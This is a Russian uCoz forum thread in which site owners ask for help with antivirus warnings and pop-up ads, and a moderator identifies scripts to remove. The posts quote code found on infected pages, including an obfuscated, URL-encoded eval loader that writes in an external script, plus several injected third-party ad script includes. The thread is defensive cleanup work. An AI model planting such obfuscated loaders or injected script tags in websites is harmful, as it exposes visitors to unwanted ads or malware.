Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (предотвращение, диагностика) |
Вирусы на сайтах |
Как предотвратить попадание вредоносных ссылок на сайт
Диагностика
Правила подачи заявки на диагностику и поиск вредоносного кода на сайте
Полезные ссылки: Так как большинство случаев заражения сайтов является плодом неумелого обращения с готовыми скриптами, а так же с готовыми элементами дизайна для сайтов найденными в сети, то перед тем как внедрить на сайт найденный в сети скрипт стоит ознакомиться со следующими темами:
|
Поиск спровацировал Аваст, заблокировавший доступ на сайт.
Спасибо! Уберу эту гадость может и правда столько рекламы это лишнее. |
ohranatruda, с этого и надо было начинать. про аваст. в правилах подачи заявки написано что делать и онлайн сервисов там нет
удалите в первую очередь тизернет. на него в последнее время реагирует именно аваст Код <script type="text/javascript" src="http://samiana.com/53h/473745eb005"></script> вот это http://otipb.at.ua/107/3/7332257334.js стоит тут Код <script type="text/javascript" src="http://otipb.at.ua/rtr/1"></script> и вот это Код <script language="JavaScript" type="text/JavaScript">j="%3Cscript%20language%3D%22JavaScript%22%20type%3D%22text%2FJavaScript%22%20charset%3D%22windows-1251%22%3Eeval%28function%28p %2Ca%2Cc%2Ck%2Ce%2Cd%29%7Be%3Dfunction%28c%29%7Breturn%20c.toString%2836%29%7D%3Bif%28%21%27%27.replace%28%2F%5E%2F%2CString%29%29%7Bwhile%2 8c--%29%7Bd%5Bc.toString%28a%29%5D%3Dk%5Bc%5D%7C%7Cc.toString%28a%29%7Dk%3D%5Bfunction%28e%29%7Breturn%20d%5Be%5D%7D%5D%3Be%3Dfunction%28%29 %7Breturn%27%5C%5Cw%2B%27%7D%3Bc%3D1%7D%3Bwhile%28c--%29%7Bif%28k%5Bc%5D%29%7Bp%3Dp.replace%28new%20RegExp%28%27%5C%5Cb%27%2Be%28c%29%2B%27% 5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%7D%7Dreturn%20p%7D%28%279.8%28%22%3Ca%22%2B%22b%22%2B%22%3Ec%22%2B%22%3D7%3B6%3D%5C%5C%222%5C%5C%22%3B% 3C%5C%5C%2F0%3E%3C1%22%2B%223%204%3D%5C%5C%225%5C%5C%22%20d%22%2B%22r%3D%5C%5C%22e%2Fn%22%2B%22m%5C%5C%22%20o%22%2B%22p%3D%5C%5C%22q-l%5C%5C %22%20k%3D%5C%5C%22g%3A%2F%2Ff.h%2Fi.j%5C%5C%22%3E%3C%5C%5C%2F0%3E%22%29%3B%27%2C28%2C28%2C%27script%7Cscr%7C32257%7Cipt%7Clanguage%7CJavaSc ript%7Ctm%7C797%7Cwrite%7Cdocument%7Csc%7Cript%7Cizs%7Cty%7Ctext%7Ctwitep%7Chttp%7Ccom%7Cj35%7Cphp%7Csrc%7C1251%7CaScript%7CJav%7Cchars%7Cet %7Cwindows%7Cpe%27.split%28%27%7C%27%29%2C0%2C%7B%7D%29%29%0A%3C%2Fscript%3E";j=j.replace(/с/g,"2C");j=j.replace(/т/g,"7C");j=j.replace(/у/g,"5C");document.write(unescape(j));</script> <!-- блок рекламы от kadam тчк ru основной код --> <noindex><script type="text/javascript"> (function() { var kdm = document.createElement('script'); kdm.type = "text/javascript"; kdm.async = true; kdm.src = "http://vogosita.com/78d1e5f5880824e208cf1e1f3b61f2cf.js"; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(kdm, s); };)); </script> |
Вроде убраны все бока. Результат "0"
Все равно аваст орет , эти http://sitecheck.sucuri.net/scanner/ тычут сюда http://otipb.at.ua/load/9 и пишут здесь вирус : Код <script type="text/javascript">new Image().src = "http://counter.yadro.ru/hit;counter2?r"+escape(document.referrer)+((typeof(screen)=="undefined")?"":";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";"+Math.random();</script></div><script type="text/javascript"> var m_up = [ ['s',"94367"], ]; document.write('<scr'+'ipt type="text/javascript" src="http://cache.betweendigital.com/code/mobile.js"></scr'+'ipt>'); </script> Капец. :-( Сообщение отредактировал ohranatruda - Пятница, 03 Янв 2014, 23:30:34
|
У меня на сайте с 01.01.2014 на какую кнопку не нажми для перехода, сразу всплывает на все окно реклама игры Казино ИКС или Джек Пот игровая система.)))
И ссылка http://777mister.com/landing...._777pop Почему такое происходит) |
Mars7972, где адрес проблемного сайта? правила подачи заявки пытались читать?
|
Все равно аваст орет , эти http://sitecheck.sucuri.net/scanner/ тычут сюда http://otipb.at.ua/load/9 и пишут здесь вирус : Не пользуйтесь проверялками онлайн для нахождения вирусов. На что именно ругается аваст, на этот же код? У меня на сайте с 01.01.2014 на какую кнопку не нажми для перехода, сразу всплывает на все окно реклама игры Казино ИКС или Джек Пот игровая система.))) Mars7972, ссылка на проблемный сайт где? |
Да на тот же код
Код <script type="text/javascript">new Image().src = "http://counter.yadro.ru/hit;counter2?r"+escape(document.referrer)+((typeof(screen)=="undefined")?"":";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";"+Math.random();</script></div><script type="text/javascript"> var m_up = [ ['s',"94367"], ]; document.write('<scr'+'ipt type="text/javascript" src="http://cache.betweendigital.com/code/mobile.js"></scr'+'ipt>'); </script> А вот эта часть betweendigital.com какя то партнерка, которой я никогда не пользовался. Сообщение отредактировал ohranatruda - Суббота, 04 Янв 2014, 15:50:23
|
ohranatruda, никакого вредоносного действия вот этот код:
Цитата <script type="text/javascript">new Image().src = "http://counter.yadro.ru/hit;counter2?r"+escape(document.referrer)+((typeof(screen)=="undefined")?"":";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";"+Math.random();</script> не оказывает, это код статистики и аваст принимает его за вредоносный по ошибке. Свяжитесь со специалистами технической службы аваста и проясните ситуацию. Что касается вот этого кода: Цитата <script type="text/javascript"> var m_up = [ ['s',"94367"], ]; document.write('<scr'+'ipt type="text/javascript" src="http://cache.betweendigital.com/code/mobile.js"></scr'+'ipt>'); </script> то не удалось у вас его обнаружить вообще |
Ой извините...вот мой сайт http://boutikchocolate.ucoz.ru/
|
Mars7972, для начала удаляем вот это и не ставим с этого сайта прочую грязь:
Цитата <script language="JavaScript" src="http://101widgets.com/16040001/140/259"></script> также вот эту каку в блоке визитер тоже лучше убрать: Цитата <script type="text/javascript" src="http://feedjit.com/serve/?vv=1013&tft=3&dd=0&wid=a96ede9a2ae5bbe3&pid=0&proid=0&bc=4D4542&tc=FFFFFF&brd1=949494&lnk=EBCACA&hc=FFFFFF&hfc=612F04&btn=422011&ww=180&wne=8&wh=Live+Traffic+Feed&hl=0&hlnks=0&hfce=0&srefs=1&hbars=0"></script> |
Всем здравствуйте! столкнулся с проблемкой...
случайно обнаружил у себя на сайте вот такой скрипт и почему то только на вот этой странице http://kino-vek.ucoz.ru/load/uzhasy/4-5-2 гугл хром выдает предупреждение: но я точно знаю что не устанавливал данный скрипт себе на сайт... подскажите где его искать??? я уже все перелопатил, ну немогу найти и все тут Сообщение отредактировал sergey404 - Воскресенье, 05 Янв 2014, 00:34:33
|
sergey404, скрипт стоит перед закрывающимся тегом body, удалите его из шаблона "Страница со списком материалов и категории"
|
СПасибо большое!!!
|
До этого писала в другую тему форума, но сейчас пишу сюда, ибо не знаю, куда еще можно написать?
У меня на двух сайтах, на этом и этом, когда заходишь на сам сайт и нажимаешь на любом месте, открывается в новом окне реклама каких-то интернет-магазинов, а именно, Розетки или Мобилак. Скажите, это реклама от юкоз или какие-то вирусы на сайте? Появилось это где-то с неделю назад. |
| |||